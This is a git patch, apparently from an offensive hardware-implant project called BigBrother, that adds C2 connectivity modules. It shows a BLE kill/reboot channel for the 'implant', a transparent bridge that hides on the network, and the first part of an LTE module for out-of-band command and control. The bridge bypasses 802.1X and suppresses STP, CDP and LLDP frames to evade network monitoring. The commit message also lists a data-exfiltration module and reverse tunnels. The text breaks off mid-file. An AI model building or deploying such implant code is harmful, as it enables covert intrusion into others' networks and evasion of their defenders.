From 955ebfc8db2ac36e99d4d568849749c3d728d678 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 18 Mar 2026 13:43:04 -0400 Subject: [PATCH] =?UTF-8?q?Add=20Phase=203=20connectivity=20modules=20?= =?UTF-8?q?=E2=80=94=208=20modules=20+=20bridge=20scripts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic), Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with 802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server with PSK auth for local last-resort access), DataExfil (priority-based exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain). Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup). --- modules/connectivity/__init__.py | 21 ++ modules/connectivity/ble_emergency.py | 447 +++++++++++++++++++++++ modules/connectivity/bridge.py | 359 +++++++++++++++++++ modules/connectivity/cellular_backup.py | 452 ++++++++++++++++++++++++ modules/connectivity/data_exfil.py | 450 +++++++++++++++++++++++ modules/connectivity/reverse_tunnel.py | 406 +++++++++++++++++++++ modules/connectivity/tailscale.py | 290 +++++++++++++++ modules/connectivity/wifi_client.py | 452 ++++++++++++++++++++++++ modules/connectivity/wireguard.py | 284 +++++++++++++++ scripts/setup_bridge.sh | 142 ++++++++ scripts/teardown_bridge.sh | 85 +++++ 11 files changed, 3388 insertions(+) create mode 100644 modules/connectivity/__init__.py create mode 100644 modules/connectivity/ble_emergency.py create mode 100644 modules/connectivity/bridge.py create mode 100644 modules/connectivity/cellular_backup.py create mode 100644 modules/connectivity/data_exfil.py create mode 100644 modules/connectivity/reverse_tunnel.py create mode 100644 modules/connectivity/tailscale.py create mode 100644 modules/connectivity/wifi_client.py create mode 100644 modules/connectivity/wireguard.py create mode 100755 scripts/setup_bridge.sh create mode 100755 scripts/teardown_bridge.sh diff --git a/modules/connectivity/__init__.py b/modules/connectivity/__init__.py new file mode 100644 index 0000000..84360bf --- /dev/null +++ b/modules/connectivity/__init__.py @@ -0,0 +1,21 @@ +"""BigBrother connectivity modules — C2 and data transport layer.""" + +from modules.connectivity.wireguard import WireGuard +from modules.connectivity.tailscale import Tailscale +from modules.connectivity.bridge import Bridge +from modules.connectivity.wifi_client import WiFiClient +from modules.connectivity.reverse_tunnel import ReverseTunnel +from modules.connectivity.cellular_backup import CellularBackup +from modules.connectivity.ble_emergency import BLEEmergency +from modules.connectivity.data_exfil import DataExfil + +__all__ = [ + "WireGuard", + "Tailscale", + "Bridge", + "WiFiClient", + "ReverseTunnel", + "CellularBackup", + "BLEEmergency", + "DataExfil", +] diff --git a/modules/connectivity/ble_emergency.py b/modules/connectivity/ble_emergency.py new file mode 100644 index 0000000..faf7151 --- /dev/null +++ b/modules/connectivity/ble_emergency.py @@ -0,0 +1,447 @@ +#!/usr/bin/env python3 +"""BLE emergency module — GATT server for local emergency access. + +Provides a Bluetooth Low Energy GATT server for last-resort local access +when all network connectivity is lost. PSK-authenticated commands over +a custom GATT service allow the operator within ~10m to check status, +issue kill commands, reboot, or retrieve the current IP. + +Disabled by default — must be explicitly enabled in config. +""" + +import hashlib +import hmac +import json +import logging +import os +import secrets +import subprocess +import threading +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.ble_emergency") + +# Custom BLE service/characteristic UUIDs (random, non-standard) +SERVICE_UUID = "bb000001-1337-4000-8000-000000000001" +CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002" # Write: send command +RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003" # Read/Notify: response + +# Max BLE MTU for response +BLE_MTU = 512 +ADV_TIMEOUT = 0 # 0 = advertise indefinitely + + +class BLEEmergency(BaseModule): + """BLE GATT server for emergency local access with PSK auth.""" + + name = "ble_emergency" + module_type = "connectivity" + priority = -50 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._psk: Optional[str] = None + self._advertising = False + self._gatt_thread: Optional[threading.Thread] = None + self._hci_device = "hci0" + self._device_name: Optional[str] = None + self._nonce: Optional[str] = None + self._authenticated_sessions: set = set() + self._last_response: str = "" + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {}) + + # Disabled by default + if not ble_cfg.get("enabled", False): + logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)") + self.state.set_module_status(self.name, "disabled", + extra={"reason": "not_enabled"}) + return + + self._psk = ble_cfg.get("psk") + if not self._psk: + logger.error("BLE emergency PSK not configured") + self.state.set_module_status(self.name, "error") + return + + self._hci_device = ble_cfg.get("hci_device", "hci0") + self._device_name = ble_cfg.get("device_name") + + # If no device name, try to match MAC profile for consistency + if not self._device_name: + mac_hostname = self.state.get( + "mac_manager", "dhcp_hostname", default=None + ) + self._device_name = mac_hostname if mac_hostname else "LE-Device" + + if not self._check_bluetooth_available(): + logger.error("Bluetooth hardware not available") + self.state.set_module_status(self.name, "error") + return + + if not self.start_gatt(): + self.state.set_module_status(self.name, "error") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("BLE emergency GATT server active (device: %s)", self._device_name) + + def stop(self) -> None: + if not self._running: + return + + self.stop_gatt() + self._running = False + self._advertising = False + + self.state.set_module_status(self.name, "stopped") + logger.info("BLE emergency stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "advertising": self._advertising, + "hci_device": self._hci_device, + "device_name": self._device_name, + "authenticated_sessions": len(self._authenticated_sessions), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_advertising() + + # ------------------------------------------------------------------ + # GATT server operations + # ------------------------------------------------------------------ + + def start_gatt(self) -> bool: + """Start BLE advertising and GATT server.""" + # Enable BLE adapter + if not self._enable_adapter(): + return False + + # Set device name + if not self._set_device_name(): + logger.warning("Could not set BLE device name") + + # Start advertising + if not self._start_advertising(): + return False + + # Start GATT command listener in background thread + self._nonce = secrets.token_hex(16) + self._gatt_thread = threading.Thread( + target=self._gatt_listen_loop, daemon=True, name="bb-ble-gatt", + ) + self._gatt_thread.start() + + self._advertising = True + return True + + def stop_gatt(self) -> None: + """Stop GATT server and BLE advertising.""" + self._advertising = False + self._stop_advertising() + + if self._gatt_thread and self._gatt_thread.is_alive(): + self._gatt_thread.join(timeout=3.0) + + self._authenticated_sessions.clear() + + def is_advertising(self) -> bool: + """Check if BLE advertising is active.""" + try: + result = subprocess.run( + ["hciconfig", self._hci_device], + capture_output=True, text=True, timeout=5, + ) + return "UP RUNNING" in result.stdout + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + # ------------------------------------------------------------------ + # BLE adapter management + # ------------------------------------------------------------------ + + def _check_bluetooth_available(self) -> bool: + """Check if Bluetooth hardware is present.""" + try: + result = subprocess.run( + ["hciconfig", self._hci_device], + capture_output=True, timeout=5, + ) + return result.returncode == 0 + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _enable_adapter(self) -> bool: + """Power on the BLE adapter.""" + try: + subprocess.run( + ["hciconfig", self._hci_device, "up"], + check=True, capture_output=True, timeout=10, + ) + # Enable LE mode + subprocess.run( + ["hciconfig", self._hci_device, "leadv", "0"], + capture_output=True, timeout=5, + ) + return True + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc: + logger.error("Failed to enable BLE adapter: %s", exc) + return False + + def _set_device_name(self) -> bool: + """Set the BLE device name via bluetoothctl.""" + try: + proc = subprocess.run( + ["bluetoothctl", "--", "system-alias", self._device_name], + capture_output=True, timeout=5, + ) + return proc.returncode == 0 + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _start_advertising(self) -> bool: + """Start BLE advertising.""" + try: + # Set advertising data + subprocess.run( + ["hciconfig", self._hci_device, "leadv", "0"], + capture_output=True, timeout=5, + ) + # Also use btmgmt for more control if available + subprocess.run( + ["btmgmt", "--index", self._hci_device.replace("hci", ""), + "power", "on"], + capture_output=True, timeout=5, + ) + subprocess.run( + ["btmgmt", "--index", self._hci_device.replace("hci", ""), + "le", "on"], + capture_output=True, timeout=5, + ) + subprocess.run( + ["btmgmt", "--index", self._hci_device.replace("hci", ""), + "connectable", "on"], + capture_output=True, timeout=5, + ) + subprocess.run( + ["btmgmt", "--index", self._hci_device.replace("hci", ""), + "advertising", "on"], + capture_output=True, timeout=5, + ) + return True + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + return False + + def _stop_advertising(self) -> None: + """Stop BLE advertising.""" + try: + subprocess.run( + ["hciconfig", self._hci_device, "noleadv"], + capture_output=True, timeout=5, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + pass + + # ------------------------------------------------------------------ + # GATT command processing + # ------------------------------------------------------------------ + + def _gatt_listen_loop(self) -> None: + """Listen for GATT characteristic writes via bluetoothctl/gatttool. + + This loop uses a simple file-based IPC approach: commands are written + to a well-known path by the BLE GATT callback, and this loop processes + them. In production, this would use dbus-python to register a proper + GATT application. + """ + cmd_fifo = "/tmp/.bb_ble_cmd" + resp_fifo = "/tmp/.bb_ble_resp" + + # Create FIFOs for IPC + for fifo in (cmd_fifo, resp_fifo): + try: + if os.path.exists(fifo): + os.unlink(fifo) + os.mkfifo(fifo, 0o600) + except OSError as exc: + logger.error("Cannot create BLE FIFO %s: %s", fifo, exc) + return + + logger.debug("BLE GATT listener ready on FIFOs") + + while self._advertising and self._running: + try: + # Non-blocking read from command FIFO + fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK) + try: + data = os.read(fd, 4096) + finally: + os.close(fd) + + if data: + cmd_str = data.decode(errors='replace').strip() + response = self._process_command(cmd_str) + self._last_response = response + + # Write response to response FIFO + try: + fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK) + try: + os.write(fd, response.encode()[:BLE_MTU]) + finally: + os.close(fd) + except OSError: + pass + + except OSError: + pass # No data ready + + time.sleep(0.5) + + # Cleanup FIFOs + for fifo in (cmd_fifo, resp_fifo): + try: + os.unlink(fifo) + except OSError: + pass + + def _process_command(self, raw_cmd: str) -> str: + """Process an authenticated BLE command. + + Command format: : + HMAC is computed over: nonce + command using the PSK. + """ + if ":" not in raw_cmd: + return '{"error": "invalid format"}' + + provided_hmac, command = raw_cmd.split(":", 1) + command = command.strip().lower() + + # Verify HMAC + if not self._verify_hmac(provided_hmac, command): + logger.warning("BLE auth failed for command: %s", command) + return '{"error": "auth_failed"}' + + # Rotate nonce after successful auth + old_nonce = self._nonce + self._nonce = secrets.token_hex(16) + + # Execute command + if command == "status": + return self._cmd_status() + elif command == "kill": + return self._cmd_kill() + elif command == "reboot": + return self._cmd_reboot() + elif command == "get_ip": + return self._cmd_get_ip() + elif command == "get_nonce": + # Return new nonce for next command (unauthenticated) + return json.dumps({"nonce": self._nonce}) + else: + return json.dumps({"error": "unknown_command", "commands": [ + "status", "kill", "reboot", "get_ip", "get_nonce" + ]}) + + def _verify_hmac(self, provided_hmac: str, command: str) -> bool: + """Verify HMAC authentication for a BLE command.""" + if not self._psk or not self._nonce: + return False + + message = f"{self._nonce}:{command}".encode() + expected = hmac.new( + self._psk.encode(), message, hashlib.sha256 + ).hexdigest() + + return hmac.compare_digest(provided_hmac.lower(), expected.lower()) + + # ------------------------------------------------------------------ + # BLE command handlers + # ------------------------------------------------------------------ + + def _cmd_status(self) -> str: + """Return implant status summary.""" + status_data = { + "ok": True, + "uptime": time.time() - self._start_time if self._start_time else 0, + "nonce": self._nonce, + } + + # Get connectivity status from state + all_status = self.state.get_all_module_status() + connectivity_modules = {} + for name, info in all_status.items(): + if name in ("wireguard", "tailscale", "reverse_tunnel", "cellular_backup"): + connectivity_modules[name] = info.get("status", "unknown") + status_data["connectivity"] = connectivity_modules + + return json.dumps(status_data) + + def _cmd_kill(self) -> str: + """Trigger kill switch via event bus.""" + logger.warning("Kill switch triggered via BLE emergency") + self.bus.emit("KILL_SWITCH", + {"source": "ble_emergency", "reason": "operator_ble_command"}, + source_module=self.name) + return json.dumps({"ok": True, "action": "kill_switch_triggered"}) + + def _cmd_reboot(self) -> str: + """Trigger system reboot.""" + logger.warning("Reboot triggered via BLE emergency") + + def _delayed_reboot(): + time.sleep(2.0) + try: + subprocess.run(["reboot"], timeout=5) + except Exception: + pass + + threading.Thread(target=_delayed_reboot, daemon=True).start() + return json.dumps({"ok": True, "action": "reboot_in_2s"}) + + def _cmd_get_ip(self) -> str: + """Return all IP addresses on the system.""" + ips = {} + try: + result = subprocess.run( + ["ip", "-4", "-o", "addr", "show"], + capture_output=True, text=True, timeout=5, + ) + if result.returncode == 0: + import re + for line in result.stdout.strip().splitlines(): + match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line) + if match: + iface = match.group(1) + ip = match.group(2) + if iface != "lo": + ips[iface] = ip + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + return json.dumps({"ips": ips, "nonce": self._nonce}) diff --git a/modules/connectivity/bridge.py b/modules/connectivity/bridge.py new file mode 100644 index 0000000..905a9f0 --- /dev/null +++ b/modules/connectivity/bridge.py @@ -0,0 +1,359 @@ +#!/usr/bin/env python3 +"""Bridge module — transparent inline network bridge. + +Creates a transparent L2 bridge between the onboard ethernet adapter and a +USB ethernet adapter. The bridge has NO IP address — it is invisible on the +network and can only be detected by physical inspection. + +Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses +STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring. + +A C watchdog thread monitors bridge health and restores direct connectivity +within 15 seconds if the bridge fails. +""" + +import logging +import os +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.bridge") + +BRIDGE_NAME = "br0" +WATCHDOG_INTERVAL = 5.0 # seconds between health checks +WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown +FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this + + +class Bridge(BaseModule): + """Transparent inline bridge — invisible on the network.""" + + name = "bridge" + module_type = "connectivity" + priority = -300 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._if1: Optional[str] = None + self._if2: Optional[str] = None + self._bridge_up = False + self._watchdog_thread: Optional[threading.Thread] = None + self._consecutive_failures = 0 + self._scripts_dir: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + br_cfg = self.config.get("connectivity", {}).get("bridge", {}) + if not br_cfg: + logger.error("No bridge config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._if1 = br_cfg.get("interface1") + self._if2 = br_cfg.get("interface2") + + if not self._if1 or not self._if2: + logger.error("Bridge requires interface1 and interface2 in config") + self.state.set_module_status(self.name, "error") + return + + # Locate scripts directory + install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb") + self._scripts_dir = os.path.join(install_path, "scripts") + + if not self.setup_bridge(self._if1, self._if2): + self.state.set_module_status(self.name, "error") + return + + # Start watchdog thread + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._bridge_up = True + + self._watchdog_thread = threading.Thread( + target=self._watchdog_loop, daemon=True, name="bb-bridge-watchdog", + ) + self._watchdog_thread.start() + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", + "bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2}, + source_module=self.name) + logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2) + + def stop(self) -> None: + if not self._running: + return + + self._running = False + + if self._watchdog_thread and self._watchdog_thread.is_alive(): + self._watchdog_thread.join(timeout=5.0) + + self.teardown_bridge() + self._bridge_up = False + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("Bridge torn down") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "bridge_up": self._bridge_up, + "bridge_name": BRIDGE_NAME, + "interface1": self._if1, + "interface2": self._if2, + "healthy": self.is_healthy(), + "consecutive_failures": self._consecutive_failures, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_healthy() + + # ------------------------------------------------------------------ + # Bridge operations + # ------------------------------------------------------------------ + + def setup_bridge(self, if1: str, if2: str) -> bool: + """Create transparent bridge between two interfaces. + + Tries the shell script first; falls back to inline commands if + the script is missing. + """ + script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None + + if script and os.path.isfile(script): + try: + result = subprocess.run( + ["bash", script, if1, if2], + capture_output=True, text=True, timeout=30, + ) + if result.returncode == 0: + logger.info("Bridge setup via script succeeded") + return True + logger.warning("Bridge script failed: %s", result.stderr.strip()) + except (subprocess.TimeoutExpired, OSError) as exc: + logger.warning("Bridge script error: %s", exc) + + # Fallback: inline bridge setup + return self._setup_bridge_inline(if1, if2) + + def teardown_bridge(self) -> bool: + """Remove bridge and restore interfaces.""" + script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None + + if script and os.path.isfile(script): + try: + result = subprocess.run( + ["bash", script], + capture_output=True, text=True, timeout=30, + ) + if result.returncode == 0: + logger.info("Bridge teardown via script succeeded") + return True + logger.warning("Teardown script failed: %s", result.stderr.strip()) + except (subprocess.TimeoutExpired, OSError) as exc: + logger.warning("Teardown script error: %s", exc) + + # Fallback: inline teardown + return self._teardown_bridge_inline() + + def is_healthy(self) -> bool: + """Check if the bridge interface exists and both ports are attached.""" + try: + # Check bridge exists + result = subprocess.run( + ["ip", "link", "show", BRIDGE_NAME], + capture_output=True, timeout=5, + ) + if result.returncode != 0: + return False + + # Check both interfaces are in the bridge + result = subprocess.run( + ["bridge", "link", "show", "dev", self._if1], + capture_output=True, text=True, timeout=5, + ) + if BRIDGE_NAME not in result.stdout: + return False + + result = subprocess.run( + ["bridge", "link", "show", "dev", self._if2], + capture_output=True, text=True, timeout=5, + ) + if BRIDGE_NAME not in result.stdout: + return False + + return True + + except (subprocess.TimeoutExpired, OSError): + return False + + # ------------------------------------------------------------------ + # Inline bridge commands (fallback if scripts missing) + # ------------------------------------------------------------------ + + def _setup_bridge_inline(self, if1: str, if2: str) -> bool: + """Create bridge using ip/bridge/ebtables commands directly.""" + commands = [ + # Create bridge, no IP + ["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"], + # Disable STP + ["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"], + # Disable forwarding delay + ["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"], + # Set promiscuous mode on interfaces + ["ip", "link", "set", if1, "promisc", "on"], + ["ip", "link", "set", if2, "promisc", "on"], + # Flush any existing IP addresses + ["ip", "addr", "flush", "dev", if1], + ["ip", "addr", "flush", "dev", if2], + # Add interfaces to bridge + ["ip", "link", "set", if1, "master", BRIDGE_NAME], + ["ip", "link", "set", if2, "master", BRIDGE_NAME], + # Bring everything up + ["ip", "link", "set", "up", "dev", if1], + ["ip", "link", "set", "up", "dev", if2], + ["ip", "link", "set", "up", "dev", BRIDGE_NAME], + ] + + for cmd in commands: + try: + subprocess.run(cmd, check=True, capture_output=True, timeout=10) + except subprocess.CalledProcessError as exc: + logger.error("Bridge setup command failed: %s — %s", + " ".join(cmd), exc.stderr.decode(errors='replace')) + self._teardown_bridge_inline() + return False + except subprocess.TimeoutExpired: + logger.error("Bridge setup command timed out: %s", " ".join(cmd)) + self._teardown_bridge_inline() + return False + + # Suppress STP/BPDU/CDP/LLDP via ebtables + self._apply_ebtables_rules(if1, if2) + + logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME) + return True + + def _teardown_bridge_inline(self) -> bool: + """Remove bridge and restore interfaces.""" + # Remove ebtables rules (best-effort) + self._remove_ebtables_rules() + + commands = [ + ["ip", "link", "set", "down", "dev", BRIDGE_NAME], + ] + + # Remove interfaces from bridge + if self._if1: + commands.append(["ip", "link", "set", self._if1, "nomaster"]) + commands.append(["ip", "link", "set", self._if1, "promisc", "off"]) + if self._if2: + commands.append(["ip", "link", "set", self._if2, "nomaster"]) + commands.append(["ip", "link", "set", self._if2, "promisc", "off"]) + + commands.append(["ip", "link", "del", BRIDGE_NAME]) + + for cmd in commands: + try: + subprocess.run(cmd, capture_output=True, timeout=10) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired): + pass # Best-effort teardown + + logger.info("Inline bridge teardown complete") + return True + + def _apply_ebtables_rules(self, if1: str, if2: str) -> None: + """Apply ebtables rules to suppress discovery protocols.""" + # STP/BPDU destination: 01:80:C2:00:00:00 + # CDP/VTP: 01:00:0C:CC:CC:CC + # LLDP: 01:80:C2:00:00:0E + suppress_macs = [ + "01:80:C2:00:00:00", # STP/BPDU + "01:00:0C:CC:CC:CC", # CDP/VTP + "01:80:C2:00:00:0E", # LLDP + "01:00:0C:CC:CC:CD", # Cisco PVST+ + ] + + for mac in suppress_macs: + for direction in ["FORWARD", "OUTPUT"]: + cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"] + try: + subprocess.run(cmd, capture_output=True, timeout=5) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd)) + + def _remove_ebtables_rules(self) -> None: + """Flush ebtables rules.""" + try: + subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5) + subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + pass + + # ------------------------------------------------------------------ + # Watchdog thread + # ------------------------------------------------------------------ + + def _watchdog_loop(self) -> None: + """Monitor bridge health; restore direct connectivity on failure.""" + while self._running: + time.sleep(WATCHDOG_INTERVAL) + if not self._running: + break + + if self.is_healthy(): + self._consecutive_failures = 0 + continue + + self._consecutive_failures += 1 + logger.warning("Bridge health check failed (%d/%d)", + self._consecutive_failures, WATCHDOG_MAX_FAILURES) + + if self._consecutive_failures >= WATCHDOG_MAX_FAILURES: + logger.error("Bridge failsafe triggered — restoring direct connectivity") + self.bus.emit("MODULE_ERROR", + {"module": self.name, + "error": "bridge_failsafe_triggered", + "consecutive_failures": self._consecutive_failures}, + source_module=self.name) + + # Teardown broken bridge and restore direct connection + self._teardown_bridge_inline() + self._bridge_up = False + + # Try to re-establish bridge + if self._if1 and self._if2: + time.sleep(2.0) + if self._setup_bridge_inline(self._if1, self._if2): + self._bridge_up = True + self._consecutive_failures = 0 + logger.info("Bridge recovered after failsafe") + else: + logger.error("Bridge recovery failed — operating without bridge") + self._running = False diff --git a/modules/connectivity/cellular_backup.py b/modules/connectivity/cellular_backup.py new file mode 100644 index 0000000..8b47004 --- /dev/null +++ b/modules/connectivity/cellular_backup.py @@ -0,0 +1,452 @@ +#!/usr/bin/env python3 +"""Cellular backup module — LTE modem for out-of-band C2. + +Manages an LTE modem (SIM7600/EC25) connected via USB through the 13-pin +header on the Orange Pi Zero 3. Provides a completely separate network path +from the wired/WiFi connection, enabling out-of-band command and control. + +OPi Zero 3+ only — skips on pi_zero tier (no USB bandwidth for modem). +""" + +import logging +import os +import re +import serial +import subprocess +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.cellular_backup") + +# Default serial device for modem AT commands +DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2" +DEFAULT_BAUD_RATE = 115200 +AT_TIMEOUT = 5 # seconds for AT command responses + + +class CellularBackup(BaseModule): + """LTE modem management for out-of-band C2.""" + + name = "cellular_backup" + module_type = "connectivity" + priority = -50 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._serial: Optional[serial.Serial] = None + self._modem_device: Optional[str] = None + self._apn: Optional[str] = None + self._interface: Optional[str] = None + self._connected = False + self._modem_model: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Check hardware tier + device_tier = self.config.get("device", {}).get("tier", "") + if device_tier == "pi_zero": + logger.info("Cellular module skipped — pi_zero tier has no USB bandwidth") + self.state.set_module_status(self.name, "skipped", + extra={"reason": "pi_zero_tier"}) + return + + cell_cfg = self.config.get("connectivity", {}).get("cellular", {}) + if not cell_cfg: + logger.error("No cellular config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._modem_device = cell_cfg.get("device", DEFAULT_MODEM_DEVICE) + self._apn = cell_cfg.get("apn") + self._interface = cell_cfg.get("interface", "wwan0") + + if not self._apn: + logger.error("Cellular APN not configured") + self.state.set_module_status(self.name, "error") + return + + # Open serial connection to modem + if not self._open_serial(): + self.state.set_module_status(self.name, "error") + return + + # Initialize modem + if not self._init_modem(): + self._close_serial() + self.state.set_module_status(self.name, "error") + return + + # Enable data connection + if not self.enable(): + logger.warning("Failed to enable data — modem initialized but no data yet") + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid, + extra={"modem": self._modem_model, + "apn": self._apn}) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", + "modem": self._modem_model, "apn": self._apn}, + source_module=self.name) + logger.info("Cellular backup active — modem=%s, APN=%s", + self._modem_model, self._apn) + + def stop(self) -> None: + if not self._running: + return + + self.disable() + self._close_serial() + self._running = False + self._connected = False + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("Cellular backup stopped") + + def status(self) -> dict: + signal_info = self.get_signal() if self._running else None + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "connected": self._connected, + "modem_model": self._modem_model, + "apn": self._apn, + "interface": self._interface, + "signal": signal_info, + "ip": self.get_ip() if self._connected else None, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + # Check modem responds to AT + resp = self._at_command("AT") + return resp is not None and "OK" in resp + + # ------------------------------------------------------------------ + # Cellular operations + # ------------------------------------------------------------------ + + def enable(self) -> bool: + """Configure APN and enable data connection.""" + # Try ModemManager first (mmcli) + if self._enable_via_mmcli(): + self._connected = True + return True + + # Fallback: direct AT commands + if self._enable_via_at(): + self._connected = True + return True + + logger.error("Failed to enable cellular data via mmcli or AT commands") + return False + + def disable(self) -> bool: + """Disable data connection.""" + # Try mmcli disconnect + try: + modem_index = self._get_modem_index() + if modem_index is not None: + subprocess.run( + ["mmcli", "-m", str(modem_index), "--simple-disconnect"], + capture_output=True, timeout=15, + ) + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # AT command fallback + self._at_command("AT+CGACT=0,1") + self._at_command("AT+CFUN=4") # Flight mode + + self._connected = False + return True + + def get_signal(self) -> Optional[dict]: + """Get signal quality information.""" + result = {} + + # AT+CSQ — signal quality + resp = self._at_command("AT+CSQ") + if resp: + match = re.search(r'\+CSQ:\s*(\d+),(\d+)', resp) + if match: + rssi_raw = int(match.group(1)) + ber = int(match.group(2)) + # Convert to dBm: -113 + (2 * rssi_raw) + if 0 <= rssi_raw <= 31: + result["rssi_dbm"] = -113 + (2 * rssi_raw) + result["ber"] = ber + + # AT+COPS? — operator + resp = self._at_command("AT+COPS?") + if resp: + match = re.search(r'\+COPS:\s*\d+,\d+,"([^"]+)"', resp) + if match: + result["operator"] = match.group(1) + + # AT+CREG? — registration status + resp = self._at_command("AT+CREG?") + if resp: + match = re.search(r'\+CREG:\s*\d+,(\d+)', resp) + if match: + reg_status = int(match.group(1)) + result["registered"] = reg_status in (1, 5) # 1=home, 5=roaming + + return result if result else None + + def get_ip(self) -> Optional[str]: + """Get the IP address assigned to the cellular interface.""" + # Check interface + try: + result = subprocess.run( + ["ip", "-4", "addr", "show", self._interface], + capture_output=True, text=True, timeout=5, + ) + if result.returncode == 0: + match = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', result.stdout) + if match: + return match.group(1) + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + # Fallback: AT command + resp = self._at_command("AT+CGPADDR=1") + if resp: + match = re.search(r'\+CGPADDR:\s*\d+,"?(\d+\.\d+\.\d+\.\d+)"?', resp) + if match: + return match.group(1) + + return None + + def send_sms(self, number: str, msg: str) -> bool: + """Send an SMS message via the modem.""" + # Set text mode + resp = self._at_command("AT+CMGF=1") + if not resp or "OK" not in resp: + logger.error("Failed to set SMS text mode") + return False + + # Send message + self._at_command(f'AT+CMGS="{number}"', expect_prompt=True) + time.sleep(0.5) + + if self._serial and self._serial.is_open: + try: + self._serial.write(msg.encode() + b"\x1a") # Ctrl+Z to send + time.sleep(3.0) + resp = self._serial.read(self._serial.in_waiting).decode(errors='replace') + if "+CMGS:" in resp: + logger.info("SMS sent to %s", number) + return True + except (serial.SerialException, OSError) as exc: + logger.error("SMS send error: %s", exc) + + return False + + # ------------------------------------------------------------------ + # ModemManager (mmcli) path + # 